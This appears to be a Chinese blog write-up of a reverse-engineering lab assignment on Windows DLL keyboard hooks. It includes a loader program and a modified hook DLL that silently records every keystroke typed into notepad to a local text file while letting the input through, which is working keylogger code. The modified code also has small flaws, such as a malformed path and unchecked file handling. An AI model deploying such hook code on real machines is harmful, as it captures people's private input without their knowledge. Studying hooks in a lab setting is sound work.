软件逆向工程-dll消息钩取
- DLL注入实验-dll消息钩取HOOK
-
- Assignment
-
- HookDll.cpp
- TsetHook.cpp
- 修改dll实现功能
-
- CODE C++
- 实现
DLL注入实验-dll消息钩取HOOK
Assignment
修改改HookDll.cpp,钩取对notepad的输入,使得:
a)输入文本仍能正常显示
b)所有输入文本能够记录到input.txt文件中
HookDll.cpp
#include "windows.h"
#include "tchar.h"
HINSTANCE g_hInstance = NULL;
HHOOK g_hHook = NULL;
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpvReserved){
switch( dwReason ){
case DLL_PROCESS_ATTACH:
g_hInstance = hinstDLL;
break;
}
return TRUE;
}
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam){
TCHAR szPath[MAX_PATH] = {0,};
TCHAR *p = NULL;
if( nCode >= 0 ) {
if( !(lParam & 0x80000000) ){ //lParam的第31位(0:按键;1:释放键)
GetModuleFileName(NULL, szPath, MAX_PATH);
p = _tcsrchr(szPath, _T('\\'));
//若装载当前DLL的进程为notepad.exe,则消息不会传递给下一个钩子
if( !lstrcmpi(p + 1, _T("notepad.exe")) )
return 1;
}
}
// 当前进程不是notepad.exe,将消息传递给下一个钩子
return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}
#ifdef __cplusplus
extern "C" {
#endif
__declspec(dllexport) void HkStart() {
g_hHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstance, 0);
}
__declspec(dllexport) void HkStop() {
if( g_hHook ) {
UnhookWindowsHookEx(g_hHook);
g_hHook = NULL;
}
}
#ifdef __cplusplus
}
#endif
j使用vs2017编译生成dll,程序作用:钩取notepad(记事本)的消息输入。不过这是notepad不能正常输入,也不能记录钩取的数据,关键代码都有注释。
OS消息队列和应用程序消息队列之间存在一条钩链(Hook Chain),设置好键盘消息钩子后,处于钩链中的键盘消息钩子会比应用程序先一步看到相应信息。在键盘消息钩子函数的内部,除了可以查看消息之外,还可以修改消息本身,而且还能对消息实施拦截,阻止消息传递。可以同时设置多个相同的键盘消息钩子,按照设置的顺序依次调用,从而组成的链条称为钩链。
TsetHook.cpp
#include "stdio.h"
#include "windows.h"
#include "tchar.h"
typedef void (*PFN_HOOKSTART)();
typedef void (*PFN_HOOKSTOP)();
int _tmain(int argc, TCHAR* argv[]) {
HMODULE hDll = NULL;
if( (hDll = LoadLibraryA("HookDll.dll")) == NULL )// 装载HookDll.dll
return FALSE;
// 获取导出函数HkStart()和HkStop()的地址
PFN_HOOKSTART HookStart = (PFN_HOOKSTART)GetProcAddress(hDll, "HkStart");
PFN_HOOKSTOP HookStop = (PFN_HOOKSTOP)GetProcAddress(hDll, "HkStop");
HookStart(); //开始钩取键盘消息
_tprintf(_T("press 'q' to quit!\n"));
while( getchar() != 'q' ); // 等到用户输入'q'才终止钩取
HookStop(); //终止钩取键盘消息
FreeLibrary(hDll); //卸载HookDll.dll
return TRUE;
}
其中TestDll主要是进行HookDll.dll的装载与卸载,获取HkStart HkStop的地址,并且使用q来判断用户输入是否终止。
修改dll实现功能
CODE C++
// dllmain.cpp : 定义 DLL 应用程序的入口点。 //hookdll1 钩取notepad的输入 同时不影响正常输入 并把输入保存到指定的txt
#define _CRT_SECURE_NO_WARNINGS
#include "stdafx.h"
#include "windows.h"
#include "tchar.h"
#include <stdio.h>
//
HINSTANCE g_hInstance = NULL;
HHOOK g_hHook = NULL;
//dllmain
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpvReserved) {
switch (dwReason) {
//当DLLMain处理DLL_PROCESS_ATTACH时,DLLMain函数的返回值表示DLL的初始化是否成功。成功返回TRUE,否则返回FALSE。
case DLL_PROCESS_ATTACH:
g_hInstance = hinstDLL;
break;
}
return TRUE;
}
//keyboardproc
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
TCHAR szPath[MAX_PATH] = { 0, };
TCHAR *p = NULL;
FILE *fp = NULL;
if ((fp = fopen("C:test\\input.txt", "a+"))==NULL) {//保存输入的txt
printf("open txt error");
}
if (nCode >= 0) {//nCode 钩子识别码
if (!(lParam & 0x80000000)) { //lParam的第31位(0:按键;1:释放键)
GetModuleFileName(NULL, szPath, MAX_PATH);
p = _tcsrchr(szPath, _T('\\'));//当前路径\\后的内容(notepad.exe)
//若装载当前DLL的进程为notepad.exe
if (!lstrcmpi(p + 1, _T("notepad.exe")))//为notepad程序
{
char c = wParam;//获取消息
fwrite(&c, 1, 1, fp);//一字节一元素写入
CallNextHookEx(g_hHook, nCode, wParam, lParam);//使文字正常输入
//return 1;//这个要注释掉
}
}
fclose(fp);
}
// 当前进程不是notepad.exe,将消息传递给下一个钩子
return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}
#ifdef __cplusplus
extern "C" {
#endif
__declspec(dllexport) void HkStart() {
g_hHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstance, 0);//sethook开启
}
__declspec(dllexport) void HkStop() {
if (g_hHook) {
UnhookWindowsHookEx(g_hHook);//unhook关闭
g_hHook = NULL;
}
}
#ifdef __cplusplus
}
#endif
实现
PS 关于vs如何使用ddl 参考https://blog.csdn.net/qq_37902078/article/details/80144696
windows钩取 https://blog.csdn.net/SKI_12/article/details/80684358